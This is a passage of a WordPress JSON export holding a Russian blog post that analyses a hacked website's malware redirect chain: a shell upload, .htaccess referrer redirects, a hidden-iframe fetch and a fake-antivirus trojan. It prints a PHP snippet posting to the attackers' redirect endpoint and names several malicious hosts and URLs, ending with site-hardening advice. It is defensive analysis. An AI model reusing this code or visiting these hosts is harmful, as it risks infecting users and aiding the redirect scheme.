d=\u0410\u0414\u0420\u0415\u0421_\u0421\u0410\u0419\u0422\u0410: \u0410\u0414\u0420\u0415\u0421_\u041a\u041b\u0418\u0415\u041d\u0422\u0410: \u0420\u0415\u0424\u0415\u0420\u0410\u041b).<\/p>\n<p>  \u0411\u044b\u0441\u0442\u0440\u0435\u043d\u044c\u043a\u043e, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0432 \u043e\u0434\u043d\u0443 \u0438\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u044f \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u0441\u0432\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u0447\u0442\u043e\u0431\u044b \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u0448\u0430\u0433\u0443:  <\/p>\n<pre><code class=\"php\">$purl=&quot;d=weddingcatering.co.th:80.112.243.203%3AEach_will_be_rewarded_according_to_merit&quot;; \t$_14=stream_context_create(array( \t\thttp=&gt;array( \t\t\tmethod=&gt;POST,  \t\t\theader=&gt;&quot;Content-Type: application\/x-www-form-urlencoded &quot;, \t\t\tcontent=&gt;$purl, \t\t\t), \t\t) \t); $resp = file_get_contents(ADMIN_REDIR_URL,false,$_14); echo $resp; <\/code><\/pre>\n<p>  \u0418 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0432 \u043e\u0442\u0432\u0435\u0442 \u043b\u0430\u043a\u043e\u043d\u0438\u0447\u043d\u043e\u0435: <b>BAD<\/b>.<br \/>  \u0418 \u0442\u0443\u0442 \u043c\u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e \u0432 \u0433\u043e\u043b\u043e\u0432\u0443 \u0441 \u0430\u0434\u0440\u0435\u0441\u0435 \u0441\u0430\u0439\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435 \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u0441\u0432\u043e\u0435\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043a\u043e\u0434\u0435 \u0444\u0430\u0439\u043b\u0430 7.txt. \u041e\u0442\u0432\u0435\u0442 \u0431\u044b\u043b \u0438\u043d\u044b\u043c:  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0442\u0435\u043a\u0441\u0442<\/b><\/p>\n<div class=\"spoiler_text\"><b>\u0412\u043d\u0438\u043c\u0430\u043d\u0438\u0435!!!<br \/>  \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u044f \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0438\u0436\u0435, \u0412\u044b \u0440\u0438\u0441\u043a\u0443\u0435\u0442\u0435 \u0437\u0430\u0440\u0430\u0437\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0442\u0440\u043e\u044f\u043d\u043e\u043c!<br \/>  <\/b> <br \/>  \u0445\u0442\u0442\u043f:\/\/blog2.companyscoming.co:3811\/books\/site-map.php?radio=888&#038;themes=883&#038;login=82&#038;advocacy=833&#038;browser=79  <\/div>\n<\/div>\n<p>  \u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043f\u043e\u0441\u043b\u0435 \u0437\u043d\u0430\u043a\u0430 &quot;?&quot; \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0440\u0430\u043d\u0434\u043e\u043c\u043d\u043e \u0438 \u043d\u0435 \u0438\u043c\u0435\u044e\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.<br \/>  \u0422\u0430\u043a \u043a\u0430\u043a \u044f \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0441\u044c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u043c Google Chrome, \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043d\u0430 \u0434\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443 \u044f \u0443\u0432\u0438\u0434\u0435\u043b 502 \u043e\u0448\u0438\u0431\u043a\u0443. \u041d\u043e \u0441\u0442\u043e\u0438\u043b\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0431\u0440\u0430\u0443\u0437\u0435\u0440 Opera, \u043a\u0430\u043a \u043c\u043d\u0435 \u0442\u0443\u0442 \u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u043a\u043e\u0435 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b \u043a\u0430\u043a <b>Trojan\/Win32.badur.a<\/b>. \u042d\u0442\u043e\u0442 \u0437\u043b\u043e\u0432\u0440\u0435\u0434 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b (\u0430 \u0442\u0435, \u0447\u0442\u043e \u0412\u044b \u043f\u043e\u043f\u044b\u0442\u0430\u0435\u0442\u0435\u0441\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u2014 \u0441\u0440\u0430\u0437\u0443 \u0437\u0430\u043a\u0440\u043e\u0435\u0442) \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0441\u0435\u0431\u044f \u2014 \u043d\u0435\u043a\u0438\u0439 \u0441\u043a\u0430\u043d\u0435\u0440 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430 \u043d\u0430 \u0432\u0438\u0440\u0443\u0441\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u0443\u0442 \u0436\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0412\u0430\u0448\u0435\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0431\u0443\u043a\u0435\u0442 \u0432\u0441\u044f\u043a\u043e\u0439 \u0437\u0430\u0440\u0430\u0437\u044b \u0438 \u043d\u0430\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0437\u0430 60$ \u043d\u0430 \u0433\u043e\u0434 (90$ \u0437\u0430 3 \u0433\u043e\u0434\u0430!). \u0423\u0431\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0435\u044f \u0437\u0430\u0440\u0430\u0437\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435\u043c \u0444\u0430\u0439\u043b\u0430 tdefender.exe (defender.exe) \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 %AppData%RandomName% (\u0432 \u043c\u043e\u0451\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u2014 AppData\\Roaming) \u0438 \u0441\u0442\u0438\u0440\u0430\u043d\u0438\u0435\u043c \u043a\u043b\u044e\u0447\u0430 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435, \u0432 \u0432\u0435\u0442\u043a\u0430\u0445, \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0437\u0430 \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a (Run).<\/p>\n<p>  \u041d\u0430 \u044d\u0442\u043e\u0442 \u043c\u043e\u0451 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0434\u043e\u0448\u043b\u043e \u043a \u043a\u043e\u043d\u0446\u0443.<\/p>\n<h5>\u0418\u0442\u043e\u0433.<\/h5>\n<p>  \u0421\u0445\u0435\u043c\u0430 \u0442\u0430\u043a\u043e\u0432\u0430:  <\/p>\n<ul>\n<li>\u041d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0441\u0430\u0439\u0442 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b. <\/li>\n<li>\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0448\u0435\u043b\u043b\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0438 \u0432 \u0444\u0430\u0439\u043b .htaccess \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u044d\u0442\u0443 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443. \u041f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 \u0441\u0430\u0439\u0442 \u0441 \u043a\u0430\u043a\u043e\u0433\u043e-\u043b\u0438\u0431\u043e \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430 (\u043f\u043e\u0438\u0441\u043a\u043e\u0432\u0438\u043a, \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438 \u0442.\u0434.), \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e \u0432 \u0441\u043f\u0438\u0441\u043a\u0435, \u0432 \u0444\u0430\u0439\u043b\u0435 .htaccess. <\/li>\n<li>\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u043d\u0430 \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 wordpresstest.info\/7.txt \u043b\u044e\u0431\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c (file_get_contents\/fsockopen\/curl) \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0435\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u2014 html-\u043a\u043e\u0434 \u043f\u0440\u043e\u0437\u0440\u0430\u0447\u043d\u043e\u0433\u043e \u0444\u0440\u0435\u0439\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0439 \u0441\u0430\u0439\u0442\u0435 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, betterlife-downloads.com\/wsfhxjo.php).<\/li>\n<li>\u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u044e\u0437\u0435\u0440-\u0430\u0433\u0435\u043d\u0442\u0430, \u041e\u0421, \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c \u043d\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 (test.customsexcams.com\/rb\/get_url.php). \u0412 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0430\u0434\u0440\u0435\u0441 \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0430\u0439\u0442\u0430 (\u0432\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e \u0441\u0447\u0451\u0442\u0443 \u0432 \u043c\u043e\u0451\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438). \u0415\u0441\u043b\u0438 \u0430\u0434\u0440\u0435\u0441 \u0441\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u2014 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0435 \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. <\/li>\n<li>\u041d\u043e \u0435\u0441\u043b\u0438 \u0432\u0441\u0435 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b \u2014 \u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0435\u0440\u043d\u0451\u0442\u0441\u044f \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 <b>Trojan\/Win32.badur.a<\/b>, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0430 \u0434\u0430\u0451\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u043d\u0430\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e \u043f\u0440\u043e\u0441\u0438\u0442 \u0434\u0435\u043d\u0435\u0433.<\/li>\n<\/ul>\n<h5>\u041f\u043e\u0441\u043b\u0435\u0441\u043b\u043e\u0432\u0438\u0435.<\/h5>\n<p>  \u041e\u0442 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0430\u0439\u0442\u0430 \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0437\u0430\u0441\u0442\u0440\u0430\u0445\u043e\u0432\u0430\u043d, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0437\u0430\u0431\u044b\u0432\u0430\u0442\u044c \u043e \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u043c\u0435\u0440\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e\u0441\u0442\u0438:  <\/p>\n<ul>\n<li>\u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0441\u0430\u0439\u0442\u0430\/\u043f\u0430\u043d\u0435\u043b\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0445\u043e\u0441\u0442\u0438\u043d\u0433\u043e\u043c\/\u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e FTP \u0438 SSH \u043f\u0440\u043e\u0441\u0442\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438.<\/li>\n<li>\u041d\u0435 \u0445\u0440\u0430\u043d\u0438\u0442\u0435 \u043f\u0430\u0440\u043e\u043b\u0438 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e FTP \u0432 FTP-\u043a\u043b\u0438\u0435\u043d\u0442\u0435.<\/li>\n<li>\u041e\u0431\u043d\u043e\u0432\u043b\u044f\u0439\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 CMS\/\u043f\u043b\u0430\u0433\u0438\u043d\u044b\/\u043c\u043e\u0434\u0443\u043b\u0438 \u0434\u043e \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439.<\/li>\n<li>\u041f\u043e\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u0439\u0442\u0435 \u0432 .htaccess \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0432 \u043d\u0451\u043c \u0442\u043e\u0433\u043e, \u0447\u0435\u0433\u043e \u0412\u044b \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u043b\u0438.<\/li>\n<li>\u041f\u043e\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u0439\u0442\u0435 \u043d\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0441\u0430\u0439\u0442\u0430 \u2014 \u0444\u0430\u0439\u043b\u044b \u0441\u043e \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u0437\u0430\u043c\u0435\u0442\u043d\u044b.<\/li>\n<li>\u041f\u043e\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u0439\u0442\u0435 \u043d\u0430 \u0434\u0430\u0442\u0443 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \u0415\u0441\u043b\u0438 \u0412\u044b \u0443\u0432\u0435\u0440\u0435\u043d\u044b, \u0447\u0442\u043e \u0432 \u0442\u043e\u0442 \u0434\u0435\u043d\u044c \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043c\u0435\u043d\u044f\u043b\u0438 \u2014 \u0441\u0442\u043e\u0438\u0442 \u0437\u0430\u0434\u0443\u043c\u0430\u0442\u044c\u0441\u044f \u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b.<\/li>\n<\/ul>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/184150\/\"> http:\/\/habrahabr.ru\/post\/184150\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">   \t\u0412\u0441\u0451 \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u0441 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u00ab\u0422\u0443\u0442?\u00bb \u043e\u0442 \u043c\u043e\u0435\u0433\u043e \u0434\u0440\u0443\u0433\u0430 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439. \u00ab\u042f\u043d\u0434\u0435\u043a\u0441 \u043d\u0430\u0448\u0451\u043b \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 \u0432\u0438\u0440\u0443\u0441\u044b. \u0413\u043b\u044f\u043d\u0435\u0448\u044c?\u00bb \u00ab\u041e\u0442\u0447\u0435\u0433\u043e \u0436 \u043d\u0435 \u0433\u043b\u044f\u043d\u0443\u0442\u044c\u00bb, \u043f\u043e\u0434\u0443\u043c\u0430\u043b \u044f.<br \/>  \u0422\u0430\u043a \u043d\u0430\u0447\u0430\u043b\u043e\u0441\u044c \u043c\u043e\u0451 \u0442\u0440\u0451\u0445\u0434\u043d\u0435\u0432\u043d\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432, \u0434\u0430\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u0441\u0443\u0442\u044c \u0432\u0437\u043b\u043e\u043c\u0430 \u0438 \u0447\u0442\u043e \u0442\u0430\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-184150","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/184150","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=184150"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/184150\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=184150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=184150"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=184150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}